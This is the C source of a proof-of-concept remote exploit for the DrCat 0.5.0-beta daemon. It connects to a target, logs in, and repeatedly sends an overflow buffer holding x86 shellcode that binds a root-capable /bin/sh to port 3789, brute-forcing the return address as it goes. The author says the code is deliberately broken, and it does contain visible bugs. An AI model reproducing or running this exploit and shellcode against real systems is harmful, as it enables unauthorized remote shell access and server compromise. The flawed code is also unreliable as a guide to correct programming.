/******************************************************************************* * Multilocal PoC exploit for DrCat 0.5.0-beta * by D4rk Eagle * Bug was discovered by Khan Shirani. * This is only PoC exploit for DrCat. In this exploit I add bruteforcer. * Maybe some people said, that bruter is not recommended, because server maybe * go down. But I can say that server, when recv() some strig (over 4096 bytes) * not go down, it only create some Core Dump in directory... * Shirani said : "Due to the exit(1) from the above snippet, exploitation of * this vulnerability is not possible within x86 arche's". * * WARNING : This exploit is broken to avoid kids usage... * WARNING : Don't run this exploit on your own machine * ********************************************************************************/ /* Includes Section */ #include #include #include #include #include #include #include #include #include #define MAXDATASIZE (1024 * 4 + 40) /* max data size is 4k or 1 block on my system */ #define RET 0xbfffffff // This is biggest start address in *nix systems ;) #define OFFSET -20 // You can change offset if xploit doent's work (experements is rulezzz) #define NOP 0x90 // Portbinding shell on port 3789. static char shellcode[]= "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0" "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75" "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08" "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; int usage(char *prog) { printf("\n\n"); printf("[~] DrCat 0.5.0 Multilocal PoC Exploit by D4rk Eagle [~]\n"); printf("[~] usage : %s [~]\n\n", prog); } int main(int argc, char *argv[]) { /* Local scope vars */ char *host, *authUser, *verify_daemon, *password; char buf[MAXDATASIZE], host_buf[7], passret_buf[3], userret_buf[3], auth_char, user_char; int sockfd, numbytes, authUser_len, password_len, passret, userret, port, x, i, status; struct sockaddr_in remoteAddr; /* Holds port address info for a connection */ long retaddr; pid_t pid; /* Make connection to drcatd host and initialize connection struct and vars */ if (argc != 4) { usage(argv[0]); exit(1); } host = argv[1]; port = atoi(argv[2]); authUser = argv[3]; password = argv[4]; retaddr = RET+OFFSET; if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == 1){ perror("socket"); exit(1); } /* Initialize the sockaddr_in struct that holds the info for the impending connection */ remoteAddr.sin_family = AF_INET; remoteAddr.sin_port = htons(port); remoteAddr.sin_addr.s_addr = inet_addr(host); if (connect(sockfd, (struct sockaddr *)&remoteAddr, sizeof(struct sockaddr)) == -1) { perror("connect"); exit(1); } printf("\nConnected in %s port %d\n", host, port); /* Wait for the return from the host daemon and determine if it is a DrCatd */ if((numbytes=recv(sockfd, host_buf, 6, 0)) == 6){ host_buf[numbytes] = '\0'; verify_daemon = "drcatd"; if(strcmp(host_buf, verify_daemon)){ printf("No DrCat daemon present at that host\n"); exit(1); } } else { printf("No DrCat daemon present at that host\n"); exit(1); } /* Attempt authentication */ /* Send the username */ authUser_len = strlen(authUser); if(send(sockfd, authUser, authUser_len, 0) == -1){ perror("send"); close(sockfd); exit(1); } /* Wait to see if the user is valid */ if((userret=recv(sockfd, userret_buf, 1, 0)) == -1){ perror("recv"); exit(1); } user_char = *userret_buf; if(user_char == '0'){ printf("Invalid User\n"); exit(1); } /* Get password from user */ password_len = strlen(password); /* Send the password */ if(send(sockfd, password, password_len, 0) == -1){ perror("send"); close(sockfd); exit(1); } if((passret=recv(sockfd, passret_buf, 1, 0)) == -1){ perror("recv"); exit(1); } auth_char = *passret_buf; if(auth_char == '0'){ printf("Authentication Failed\n"); exit(1); } printf("Authentication Successfully!\n"); while ( x <= 3000 ) // Also you can change this ;) { if (( pid = fork()) == 0 ) { memcpy(buf, NOP, sizeof(buf)); memcpy(buf+1002-sizeof(shellcode), shellcode, sizeof(shellcode)); for ( i = 0; i <= 100; i += 4 ) // Also 100 you can change *(long*)&buf[i] = retaddr; // Set RETADDR send(sockfd, buf, sizeof(buf),0); } wait(&status); printf("\n[+] Signal is : #%i\n", status); if ( WIFEXITED(status) != 0 ) { printf("\n[+] Retaddr guessed: 0x%x\n",retaddr); exit(1); }else{ retaddr += OFFSET; x += OFFSET; printf("[+] Try OFFSET %d, address 0x%x\n", x, retaddr); } } close(sockfd); return(0); }